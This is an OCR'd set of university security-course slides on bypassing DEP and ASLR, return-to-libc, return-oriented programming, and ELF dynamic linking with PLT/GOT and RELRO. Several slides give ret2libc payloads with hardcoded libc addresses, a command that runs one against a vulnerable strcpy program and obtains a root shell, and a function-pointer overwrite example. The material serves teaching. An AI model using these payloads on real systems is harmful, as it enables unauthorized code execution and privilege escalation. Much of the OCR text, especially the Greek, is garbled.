FOUNDATIONS

AlGAegn #8-9 - COFTWARE
Bypassing Defenses &
Return-Oriented
Programming (ROP)

SYSTEMS CRYPTO

HUMANS

Huge thank you to David Brumley from Carnegie Mellon University for the
guidance and content input while developing this class



https://users.ece.cmu.edu/~dbrumley/

AVOKOIVWOEIC / AIEUKPIVIOEIC

e H epyacia #1 0a Byel y€OQ OTIC ETTOPEVEC 7 NEPEC
o Av BEAETE PTTOPEITE VO £CAOKNOEITE YE TO TTEPOIVO Site OTO:!

https://hackintro.di.uoa.qgr/

e [lou ToTTOBOETEITAI O KWOIKAC OU OTAV £XW £va PIE eKTEAECIUO;


https://hackintro.di.uoa.gr/

Tnv lNponyoupuevn Popd

= vt ;g v:f‘:—gbv wn—“».?:” =

1. Mitigations
o Canaries
o DEP
o ASLR

_______



e Bypassing Mitigations
e Return-Oriented

Programming (ROP)




Where we left off




Data Execution Prevention

computation + control
Mark stack as \
nonfexecuta.ble shellcode <stuff> Sbuf
using NX bit
| ] | ]
I !
DEP Canary

DEP prevents injected code on the

stack from executing




DEP Scorecard

Data Execution Prevention

Performance * with hardware support: no impact
 otherwise: reported to be <1% in PaX

Deployment * kernel support (common on all platforms)
* modules opt-in (less frequent in Windows)

Compatibility * can break legitimate programs

- Just-In-Time compilers
— unpackers

Safety Guarantee code injected to NX pages never execute

but code injection may not be necessary...




Known Fixed Address

addr of buf
(Oxffffd5d8)

caller’s ebp

buf[63] =

buf

Shellcode

buf[0] =

Randomized Address
addr of buf
Add S
\ [‘;Sysouface J (Oxffffd5d8) |~
. . \
\ Randomization caller’s ebp \
\ Oxffffd618 buf 0xffffe4ze\
\ i
\ = |
| S < |
J o @) ]
/ < L !
R FN — I
/ Rang g '
/ Oml2e/ m I
Oxffffd5d8 Oxffffe3fs I
________________ ,
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-
-
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Base adldress a

Memory

Base adkdress b

Base address ¢

[

1

A
||

Program
* Code

* Uninitialized data
* |nitialized data

Mapped

* Heap

* Dynamic libraries
* Thread stacks
* Shared Memory

Stack

 Main stack




ASLR Randomization

a + 16 bit rand r

b + 16 bit rand r,

c + 24 bit rand ry

X A A

[ || ||
Program Mapped Stack
* Code * Heap * Main stack
* Uninitialized * Dynamic

data libraries
* Initialized data || ¢ Thread stacks

* Shared
Memory

* =16 bit random number of 32-bit system. More on 64-bit systems.
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ASLR Scorecard

Performance * excellent—randomize once at load time

Deployment * turn on kernel support (Windows: opt-in per module,
but system override exists)

* no recompilation necessary

Compatibility * transparent to safe apps
(position independent)

Safety Guarantee * not good on x32, much better on x64
* code injection may not be necessary ...




Checking which defenses are on

e Can be done by inspecting the binary

e Or using tools made for this - e.g., checksec (apt
install)

§ checksec --file=/bin/1ls
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 6 18 /bin/1ls

http://slimm609.github.io/checksec.sh/
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Bypass with return-to-libc Attack (beat DEP)

Rely on existing code (e.g., system())
rather than injecting new code

* setup fake return address

 put arguments (e.g. “/bin/sh”) in correct
registers

e ret will “call” libc function

No injected code!

fake ret addr

&system()

caller’s rbp

buf
(64 bytes)
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Example ret2libc



How to Attack ASLR?

Non-randomiz Stack GOT
ed memory Juggling Hijacking

ret2ret
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Brute Force

memory

brute force
search
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How to Attack ASLR?

Non-randomiz Stack GOT
ed memory Juggling Hijacking
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Use this if .text section
is not randomized

(Older gcc did not
randomize text without
-PIE flag.)

ret2text attack

# Old GCC (<2017) did not randomize text
$ gcc main.c —o main # Default does not create PIE
$ gcc main.c -o main —fPIE  # Flag required to enable PIE

# Modern GCC (-2017)
$gcc main.c —o main -no-pie # Specifically disable PIE
$ gcc main.c -o main # PIE by default!

Reference: https://leimao.github.io/blog/PIC-PIE/
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How to Attack ASLR?

Non-randomiz Stack GOT
ed memory Juggling Hijacking

ret2ret
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Overwrite a function
pointer to point to:

program function
(similar to ret2text)

another lib function in
Procedure Linkage Table

Function Pointer Subterfuge

/*please call me!l*/
int secret(char *input) { ... }

int chk_pwd(char *intput) { ... }
int main(int argc, char *argv[]) {
int (*ptr)(char *input);
char buf[8];
ptr = &chk pwd;

strncpy(buf, argv[1l], 12);
printf("[] Hello %s!\n", buf);

(*ptr)(argv[2]);

saved ebp

-

*ptr /

buffer

Overwrite with
address of secret
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How to Attack ASLR?

Non-randomiz Stack GOT
ed memory Juggling Hijacking

ret2ret
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Quiz Question

Which of the following can undermine ASLR?
A. A static .text section

B. A memory disclosure vulnerability that leaks the
ocation of libc functions

C. Function pointers at a known address

D. All of the above
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X0Oec kal ZNnuepa

Bypassing Mitigations
Return-Oriented
Programming (ROP)
ELF & Linking
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Sample Payloads (ret2libc)

void overflowme(char * msg) {

char buffer[16]:

strcpy(buffer, msg);

overflowme <
stack frame
(28 bytes)

char * msg

ret to main

buffer[16]

25



Payload #1: Call system("/bin/sh")

void overflowme(char * msg) {
char buffer[16];
strcpy(buffer, msg);

J char * msg
ret to main
-
payload =
R overflowme P
struct.pack("<l", Oxf7dcd170) + S(tzaSC kbyftreasm)e
P oBee buffer[16]

struct.pack("<I", 0xf7f420d5)
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Payload #1: Call system("/bin/sh")

void overflowme(char * msg) {
char buffer[16];
strcpy(buffer, msg);

/ char * msg
ret to main
-
payload =
N overflowme P Padding: -
struct.pack("<l", Oxf7dcd170) + S(tzaSCkbyftreaSm)e AAAAAAAAA/W\A(28 AAAAA
b"BBBB" +
-

struct.pack("<I", 0xf7f420d5)
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Payload #1: Call system("/bin/sh")

void overflowme(char * msg) {
char buffer[16];
strcpy(buffer, msg);

! char * msg

Where overflowme should

return (&system) X7OXdTixdeixf
payload =
N overflowme P Padding: -
struct.pack("<l", Oxf7dcd170) + S(tzaSCkbyftreaSm)e AAAAAAAAA/W\A(28 AAAAA
b"BBBB" +

struct.pack("<l", Oxf7f420d5)
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Payload #1: Call systen

void overflowme(char * msg) {
char buffer[16];
strcpy(buffer, msg);

} Where system returns

Where overflowme should

("/bin/sh")

Arg to system (&"/bin/sh")

return (&system)

payload =
b"A" * 28 +
struct.pack("<I", Oxf7dcd170) +
b"BBBB" +
struct.pack("<I", Oxf7f420d5)

overflowme
stack frame
(28 bytes)

<

\xd5\x20\xf4\xf7
BBBB

\x70\xd1\xdc\xf7

Padding:
(28 times)
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What happens when you run it?

ubuntu@c91114847b92:~§ ./example " python3 -c 'import struct,
sys; sys.stdout.buffer.write(b"A" * 28 + struct.pack("<I",
Oxf7dcd170) + b"BBBB" + struct.pack("<I", @xf7f420d5))'""

# whoami
root
# exit

Segmentation fault (core dumped)

Why does it segfault in the end? Could you make it
not segfault? How?
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Payload #2: Call execvp("/bin/sh", {NULL})

void overflowme(char * msg) {

char buffer[']G]; Arg2 to execvp (&{NULL}) \x18\xc0\x04\x08
Strcpy(buffer’ msg), Arg1l to execvp (&"/bin/sh") \xd5\x20\xf4\xf7
} Where execvp returns BBBB
Where overflowme should
payload = return (&execvp) . DAL
bIIAII sk 28 +
struct.pack("<I", Oxf7e63ca0) + overflome Pagdng:
J " stack frame AAAAAAAAAAAAA. ..
b"BBBB" + (28 bytes) (28 times)
struct.pack("<l", Oxf7f420d5) +
.

struct.pack("<l", 0x804c018)



Q: How would you print "/bin/sh" *twice*?



Idea:
We forge shell code out of existing application logic gadgets

R Ei{r12:0rE1iled |
Ii r[.Ia]1 ]J.TL m :ﬂ.@ Requirements:

vulnerability + gadgets + some unrandomized code

e FaY
SJATKEEINANE0aR .
J Saransio Where do we get unrandomized code?

RO, BUIIISIEE D [ii cutimaG : )
IORES F10T) MZZaZINES. 3 party library not randomized

iU %E UKL TS * Compiler did not randomize
GERrUIDS frOM BENK: * Information disclosure vuln leaks the randomization
S GMENES (e.g., base address)

— Info disclosure exploit that chains into

Image by Dino Dai Zovi —  Control flow hijack exploit
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ret = pop rip; jmp rip;

ret is an indirect jump to
whatever is on the stack.

ROP is like programming a
stack-based machine.

The address of a ret
instruction

|

&ret
caller’s rbp

“/bin/sh"
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ret2ret

If there is a valuable (potential shellcode) pointer on a stack, you might
consider this technique.

&shellcod
SeTeete —> shellcode

rsp ret = pop rip; jmp rip;

overwrite
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Shellcode isn’t restricted to
us manually encoding
instructions.

We can write shellcode
“programs” using “gadgets”

from existing instructions

Cadgets

Self-Operating Napkin




An Example Operation

Mem[v2] := vi v,

Desired
Logic Vv
1 ~—rsp
Stack
a,: mov rax, [rsp] ; rax has v1
a,: mov rbx, [rsp+16] ; rbx has v2
a,: mov [rbx], rax ; Mem[v2] := rax

Implementation 1
Intel syntax
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Implementing with Gadgets

Suppose a,
and a, on

a5
Mem[v2] := vi v,
a

Desired 3
Logic Vv
Stack
a,: pop rax;
rax v, a,: ret
b a,: pop rbx;
: a,: ret
r1p 2, a.: mov [rbx], rax

Implementation 2



Implementing with Gadgets

a5
Mem[v2] := vi v,
a

Desired 3|
Logic v, r'sp
Stack
a,. pop rax;
rax v, a,: ret
b a,: pop rbx;
: a,: ret
r1p 9 a.: mov [rbx], rax

Implementation 2
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Implementing with Gadgets

a5
Mem[v2] := vi v,
a

: rs
Desired 3 P
Logic v,

Stack
a,. pop rax;

rax 1 a,: ret

x| v, a: POp 1bX:

rip a 4

3 a.: mov [rbx], rax

Implementation 2
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Implementing with Gadgets

a5
Mem[v2] := vi v, P
a

Desired 3
Logic v,
Stack
a,. pop rax;
rax 1 a,: ret
x| v, a: POp 1bX:
rip a 4
5 a.: mov [rbx], rax

Implementation 2
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Implementing with Gadgets

a, < rsp

.

Desired a,

Logic v,

Stack

— | Z; feotp b :|> Gadget 1
rbx v, 23 feotp X } Gadget 2
rip s a:: mov [rbx], rax

Implementation 2
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Equivalence

%

Mem[v2] := vi v,
Desired Logic a,
v

L —<—rsp

Stack - -
Lﬁd gets ]

[ semantically
equivalent

a . mov rax, [rsp] <—> a_: pop rax; ret
a,: mov rbx, [rsp+l6] «—> a,: pop rbx; ret
a,: mov [rbx], rax <«—> 3, mov [rbx], rax

Implementation 1 Implementation 2
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Return-Oriented Programming (ROP)

Mem[v2] := vi

Desired Shellcode

< %rbp

a,: pop rax; ret

a,: pop rbx; ret

a,: mov [rbx], rax

Desired store executed!

44



Gadgets

* Agadget is a set of instructions for carrying out a
semantic action

— mov, add, etc.

» Gadgets typically have a number of instructions
— One instruction = native instruction set
— More instructions = synthesize <- ROP

* Cadgets in ROP generally (but not always) end in return

45



In regular x64, RIP is instruction pointer

In ROP, RSP is the effective instruction pointer

In regular x64, assembly, instruction is

ROP

Intuition/Anangy “atomic” unit of execution

In ROP, “gadget” is the atomic unit

Think of ROP as a “weird” program written in
an alternative “assembly language”

46



ROP Programming

1. Disassemble code
2. ldentify useful code sequences as gadgets
3. Assemble gadgets into desired shellcode




Disassemble code

Compiler-created gadget: A sequence of instructions
inserted by the compiler ending in ret.

Unintended gadget: A sequence of instructions not
created by the compiler, e.g., by starting disassembly at
an unaligned start.
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ldentify Useful Gadgets

Definition:

A sequence of instructions is useful

- if it is a sequence of valid instructions ending in a ret
instruction

- none of the instructions causes the processor to transfer
execution away without reaching the ret

Note: can be intended or unintended (alignment)

49



Useful ROP Gadgets

* Load/Store

* Arithmetic/Logic operations
* Control Flow

* System calls

e Function calls

Turing complete!

Oxdeadbeef

L2

> pop %edx

%esp

L

ret

Cadget that loads a constant

™ movl 64(%eax), Y%eax
ret

Y

%esp

Oxdeadbeef

+64]

> pop %eax
ret

Gadéet that loads from memory

50



ROP Programming

1. Disassemble code
2. ldentify useful code sequences as gadgets
3. Assemble gadgets into desired shellcode




e Active community has developed several tools for

Finding Gadgets

automatically identitying such gadgets

nttps://git

U

b.com/]Jonat

nanSalwan/ROPgadget

nttps://git

U

n.com/Ben-

Lichtman/ropr

nttps://scoding.de/ropper/

and many more!
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https://github.com/JonathanSalwan/ROPgadget
https://github.com/Ben-Lichtman/ropr
https://scoding.de/ropper/

ROP Probability of Success

Can call libc functions in
80% of programs greater
than /bin/true (20KB)

0.3

- — (Call/Store

— = Call (libc)
[ | [ | | [ [
Te+04 2e+04 5e+04 Te+05 2e+05 5e+05 Te+06

Figure taken from Q: Exploit Hardening Made Easy (a Compiler for ROP programs)
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https://users.ece.cmu.edu/~aavgerin/papers/q-usenix-11.pdf

Quiz Question

Which of the following defenses complicates ROP

attacks the MOST?
A. Stack canaries
B. Data execution prevention
C. Fully applied ASLR (including .text)
D. Removing unneeded system-like functions from

ibc
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Making our lives easier

® Reverse engineering tools
o https://github.com/wtsxDev/reverse-engineering

e Exploitation libraries
o https://github.com/Gallopsled/pwntools

e Mixed
o https://github.com/pwndbg/pwndbg

55


https://github.com/wtsxDev/reverse-engineering
https://github.com/Gallopsled/pwntools
https://github.com/pwndbg/pwndbg

Takeaways

Control Flow Hijack:
Control + Computation

Buffer overflows overwrite return address

Format string vulnerabilities

— Read/write arbitrary memory
Defenses
— Canary, DEP, ASLR

— Beatable using various clever tricks

56



ELF & Dynamic
Linking




The ELF File Format

The Executable and Linkable Format (ELF, formerly named
Extensible Linking Format) is a common standard file format
for executable files, object code, shared libraries, and core
dumps.

Supports:

e Different endiannesses and address sizes.
e Multiple instruction set architectures.
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ANGE ALBERTINI 3

ELF™a Linux executable walkthroug

EXADECIMAL ASCI DI 23 L
HEXADECIMAL DUMP 4SCIHDUMP FELDS VALLES EXFLANATION
ident
DISSEC ED ,LE f p
| F ; o
o i s I 2
/ 82 28 28 80 @1 08 Be 89 48 8 @ Sl
BB 22 B0 B2 @8 2@ 82 8 34 ee .4 ( x4
pon
84 20 P
o
‘
/
9 m——g N EREEE e e 50O oo :
\ HEADER iz / e 90 0 80 99 65 60 80 62 00 08 00 00 ... 0x8600300
\V / ~ b
ORI ASTOL / S
DENTIFCATON AND EXECUTION / N o
/ ASSEMBLY
CODE
. S TSR tE 9 8 32 EF 81 08 A E3 01 78 AB E3 B8 08 02 EF .........p...... csmoour o)
S B " s o o
N AN i
3 ‘ i
e\ SECTIONS NAMES
HEADERZ’Z \ \ [ — STRINGS
\ Gif momteatnne N\ N H e e s sECTon WS
N\ & i e N 2 6F 64 61 74 61 08 rodata. " shrtrtab .rodata

SECTION HEADER TABLE 5476000 09 90 00 09 BB B3 € 6 B 0B 08 00 b
LR T MM ECTS IFaT o 99 66 80 69 00 00 60 BB 99 6 B9 6O 68 08 60 §

\ 89 00 60 0B BB 08 6R 8B F3 o8 40 04
\ 06 60 80 B9 6 08 60 88 20 08 08 0

11 8 86 89 B2 60 0 60 88 08 08 B8

B
% 0 4 68 66 90 A9 B9 08 60 6O
\. 9 8 86 99 88 08 B8 BB 01 0 6o 0
N 19 08 68 89;
\_{99.99.99.90.97.99.9.99.80.99.69.90.69..09.09. 20

9 8 B0 5 @B 08 09 AP B9 6@ 90 B @B 08 B2 8D ..

SECTIONHEADER TABLE

sooreSST orrsdT™ o

(a0 0x8000060
2= 0x8000080

LOADING PROCESS

1HEADER 2 MAPPING 3 EXECUTION
THE ELF HEADER IS PARSED THE FILE IS MAPPED INMEMORY  ENTRY IS CALLED
THE PROGRAM HEADER ISPARSED ~ ACCORDING TO ITS SEGMENT(S)  SYSCALLS™ ARE ACCESSED VIA:
(SECTIONS ARE NOT USED) - SYSCALL NUMBER IN THE R7 REGISTER
- CALLING INSTRUCTION SVC

) . Vicual Address
1

LOAD Segment 2|

TRIVIA

THE ELF WAS FRST SPECIFIED BY U.S/LUAND U1
FOR UNIX SYSTEM V, IN 1984

THE ELF IS USED, AMONG OTHERS, IN:

- LINUX, ANDROID, "BSD, SOLARIS, BEOS

- PSP, PLAYSTATION 2-4, DREAMCAST, GAMECUBE, WII

- VARIOUS OSES MADE BY SAMSUNG, ERICSSON, NOKIA,

- MCROCONTROLLERS FROM ATMEL, TEXAS INSTRUMENTS
-t oo

https://qithub.com/corkami/pics/blob/master/binary/elf101/elf101.pdf
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https://github.com/corkami/pics/blob/master/binary/elf101/elf101.pdf

Executable File Types: Static and Dynamic

$ file hello.static
hello.static: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked [...]
$ Idd hello.static

not a dynamic executable

$ file hello.dynamic

hello.dynamic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/1d-linux-x86-64.s0.2 [.. |

$ Idd hello.dynamic
linux-vdso.so.1 (0x00007ffc77355000)
libc.s0.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff419ffbO00)
/lib64/ld-linux-x86-64.50.2 (0x00007ff41a204000)
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Static ELF Files: Creation

Compile with:

gcc -static -o hello.static hello.c

. libc.a All Code
stdio.h (archive) self-contained in a
single executable

! !

C i Linker links in
hello.c | mmp (eomplci) m) | hello.o | mmp | library functions m) | hello.static
-g- g (e.g., Id)
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ELF

Static ELF Files: Loading

Memory
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Static ELF Files: Loading

ELF Memory
\
=7 e Er typedef struct {
unsigned char e_ident[16];
uint16_ t e type;
uint16_t e _machine;
uint32_t e version;
uinte4 t e _entry;
uinte4 t e phoff; // Program Header Table offset
uinte4_t e_shoff;
uint32_ t e flags;
uint16_t e _ehsize;
uint16_t e phentsize;
uint16_t e _phnum;
uint16_t  e_shentsize;
uint16_t e _shnum;
uint16_t e _shstrndx;
} EIf64 _Ehdr;
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Static ELF Files: Loading

ELF
\
ELF Header typedef struct {
unsigned char e_ident[16];
uint16_ t e type;
S uint16_t  e_machine;

Header Table uint32_t  e_version;
uinte4 t e _entry;
uinte4 t e phoff; // Program Header Table offset
uinte4_t e_shoff;
uint32_ t e flags;
uint16_t e _ehsize;
uint16_t e phentsize;
uint16_t e _phnum;
uint16_t  e_shentsize;
uint16_t e _shnum;
uint16_t e _shstrndx;

} EIf64 _Ehdr;

Memory
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Static ELF Files: Loading

ELF

2P [HOEEE ypedef struct {
uint32_t p type; // PT_LOAD
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uinté4 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

Memory
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Static ELF Files: Loading

ELF

2P [HOEEE ypedef struct {
uint32_t p type; // PT_LOAD
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uinté4 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

text segment
containing our

code

Memory
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Static ELF Files: Loading

ELF

2P [HOEEE ypedef struct {
uint32_t p type; // PT_LOAD
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uinté4 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

text segment
containing our

code

Memory

.text segment
containing our
code
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ELF

ELF Header

Program
Header Table

text segment
containing our
code

Static ELF Files: Loading

Final Step: Initialize the stack with environment
variables, arguments, auxiliary information and jump to
_start (the program's entrypoint) to start execution.

Curious about contents and lifecycle details - check
out the ABI
$ readelf -h hello.static

Entry point address: Ox401530
Start of program headers: 64 (bytes into file)

Memory

esp —»

eip —p

Stack
HOME-=...
argv
argc

.text segment
containing our
code
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https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf

Static ELF Files

Pros

No external dependencies at runtime
Faster startup time (no dynamic linker)
Easier deployment (single self-contained binary)

Safer against missing or incompatible libraries

Cons

X Larger binary size
X Updates require full recompilation
X Code duplication (and vulns!) across programs

X Slower to compile and link
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Compile with:

Dynamic ELF Files: Creation

gcc -0 hello.dynamic hello.c

!

"

Compile
(e.g., gce)

~~

More on this in
a moment

Linker adds calls
to external
symbols
(e.g., printf)

Binary mostly
includes hello.o
code (library code

not present - only
calls to it)

—> [ hello.dynamic }

70



Dynamic ELF Files: Loading

ELF Memory




Dynamic ELF Files: Loading

ELF

2P [HOEEE ypedef struct {
uint32_t p type; // PT_LOAD
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uint64 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

text segment
containing our
code

For standard program segments the process is
identical to static ELF loading, but ... library code is
missing - how will that be loaded?

Memory

.text segment
containing our
code
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Dynamic ELF Files: Loading

ELF

2P [HOEEE ypedef struct {
uint32_t p_type; // PT_INTERP
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uint64 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

text segment
containing our
code

/lib/ld.so

S readelf -1 hello.dynamic | grep interp

[Requesting program interpreter: /1ib64/1d-linux-x86-64.s0.2]

Memory

.text segment
containing our
code
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Dynamic ELF Files: Dynamic Linker

ELF

2P [HOEEE ypedef struct {
uint32_t p_type; // PT_INTERP
uint32_t p_flags;

S uint64_t p_offset;
Header Table uinté4_t p_vaddr;
uint64 _t p_paddr;
uinte4_t p_filesz;
uinté4_t p_memsz;
uint64_t p_align;
} EIf64_Phdr;

text segment
containing our
code

/lib/ld.so

S readelf -1 hello.dynamic | grep interp

[Requesting program interpreter: /1ib64/1d-linux-x86-64.s0.2]

Memory

.text segment
containing our
code

Dynamic
Linker Code
/lib/ld.so
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Dynamic ELF Files: Dynamic Linker

Final Step: Initialize the stack with environment
variables, arguments, auxiliary information and jump to
_start (the dynamic linker's entrypoint) to start
execution.

Linker goal: load all libraries into memory and then
pass control to the program entrypoint.

Memory

esp —»

eip —»

Stack
HOME-=...
argv
argc

.text segment
containing our
code

Dynamic
Linker Code
/lib/ld.so
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Dynamic ELF Files: Dynamic Linker

Final Step: Initialize the stack with environment
variables, arguments, auxiliary information and jump to
_start (the dynamic linker's entrypoint) to start
execution.

Linker goal: load all libraries into memory and then
pass control to the program entrypoint.

Where does it look for libraries? (.so files)
e Searches standard system directories /lib, /usr/lib,

and so on
Not sure about which ones or priority? man ld.so!

Memory

esp —»

eip —»

Stack
HOME-=...
argv
argc

.text segment
containing our
code

Dynamic
Linker Code
/lib/ld.so
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containing our
code
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Once all libraries are loaded, control is passed back to
our program, now ready to run!

Where are libraries loaded? Use |dd to find out!

$ 1dd hello.dynamic
libc.so0.6 => /1ib/x86_64-1inux-gnu/libc.so0.6 (0x7f4df34ed000)

$ 1ldd hello.dynamic
libc.so.6 => /1ib/x86_64-1linux-gnu/libc.so.6 (@x7fad37f48000)

Do you see a potential issue?

Dynamic ELF Files: Libraries Loaded

Memory

esp —»

eip —»

\

Also known as

base address

Stack
HOME-=...
argv
argc

.text segment
containing our
code

libc Code
(/lib/libc.so)

Dynamic
Linker Code
/lib/ld.so

77



ELF
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Program
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text segment
containing our
code

/lib/ld.so

Our code uses printf and has a hardcoded instruction:

call printf_address;

Where is printf located and how do we call it!?

We know the name of the function, but not its address.
Is there a solution?

Dynamic ELF Files: Libraries Loaded

Memory

esp —»

eip —»

Stack
HOME-=...
argv
argc

.text segment
containing our
code

libc Code
(/lib/libc.so)

Dynamic
Linker Code
/lib/ld.so
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Symbols to the Rescue!

Do we know any utilities to show you the exact offset of a
function in a binary program?

If yes, how would you solve this relocation problem (i.e., that
libraries keep changing their location)?
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Today's Solution: PLT and GOT!

The Procedure Linkage Table (PLT) is a section of code in an
ELF binary containing indirect jump stubs for calling external
functions.

The Global Offset Table (COT) is a data structure in an ELF
binary used to hold addresses of global symbols (such as
functions and global variables) that are resolved at runtime.
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An Analogy - Phone Lookup Table

PLT

Just changed my phone and lost everyone's

numbers, but | have their names.

| also have a GlObal Telephonebook

mapping 1-to-1 names to phones

GOT
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An Analogy - Phone Lookup Table

PLT

Just changed my phone and lost everyone's

numbers, but | have their names.

| also have a GlObal Telephonebook

mapping 1-to-1 names to phones

GOT Don't have the phone number?
Need to go ask! (slow)




An Analogy - Phone Lookup Table

PLT

Just changed my phone and lost everyone's

numbers, but | have their names.

| also have a GlObal Telephonebook

mapping 1-to-1 names to phones

GOT Don't have the phone number?
691 555 1234 Need to go ask! (slow)




An Analogy - Phone Lookup Table

PLT

Just changed my phone and lost everyone's

numbers, but | have their names.

| also have a GlObal Telephonebook

mapping 1-to-1 names to phones

GOT Next time | need to call, | have
691 555 1234 the number! (fast)




An Analogy - Phone Lookup Table

PLT

Just changed my phone and lost everyone's

numbers, but | have their names.

| also have a GlObal Telephonebook

mapping 1-to-1 names to phones

GOT Note | lookup number lazily, i.e.,
691 555 1234 only when | need to call them!




PLT and GOT

Lookup the GOT for the
puts address. If not
P I_T there, call the linker to

resolve!

00001040 <puts@plt>:
1040: ffa310 00 00 00 jmp *Ox10(%ebx)
1046: 68 08 OO0 00 OO push $0x8
104b: e9doffffff  jmp 1020 <_init+Ox20>

Let's try it live!
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Name

LD_LIBRARY_PATH

LD_DEBUG

LD_BIND_NOW

LD_PRELOAD

Useful Dynamic Linker Flags

Description

Specifies additional directories
to search for shared libraries

Enables verbose debug output
from the dynamic linker

Specifies additional directories
to search for shared libraries

Injects specified shared libraries
before others

Usage Scenario

Used when libraries are not in standard
paths

Values like all, symbols, bindings, libs, etc.
show detailed loader internals

Set to any non-empty value (e.g. 1) to
enable; useful for debugging or
performance testing

Used to override functions (e.g., malloc) or
inject behavior without modifying the
binary
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Dynamic ELF Files

Pros

Smaller binary size
Shared memory usage across processes
Easier updates (just update the .so file)

Faster compile/link times

Cons

X Requires runtime loader (Id.so)
X Possible version mismatches (dependency helll)
X slightly slower startup

X Harder to debug (symbols in separate files)
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Useful Tracing (Interposition) Tools

strace: used to trace system calls including arguments and
return values

trace: used to trace calls to library functions (e.g., strcpy!) and
their parameters and return values

Both valuable for debugging and observability
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Relocations Read-Only (RELRO)

RELRO is a hardening feature that makes sections of memory
(especially the GOT) read-only after startup, preventing
tampering with them.

Type Protection Cost
No RELRO GOT stays writable forever Any format string is game over
Partial RELRO GOT is not read-only, but other relocation sections Some protection, still unsafe

are protected

Full RELRO GOT is made read-only after dynamic linking Better security, slower startup

Enable full relro with:
gcc -WI,-z,relro -WI,-z,now -0 hello hello.c
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EuxapioTw Kal KOAR pEpa euyouai!

Keep hacking!



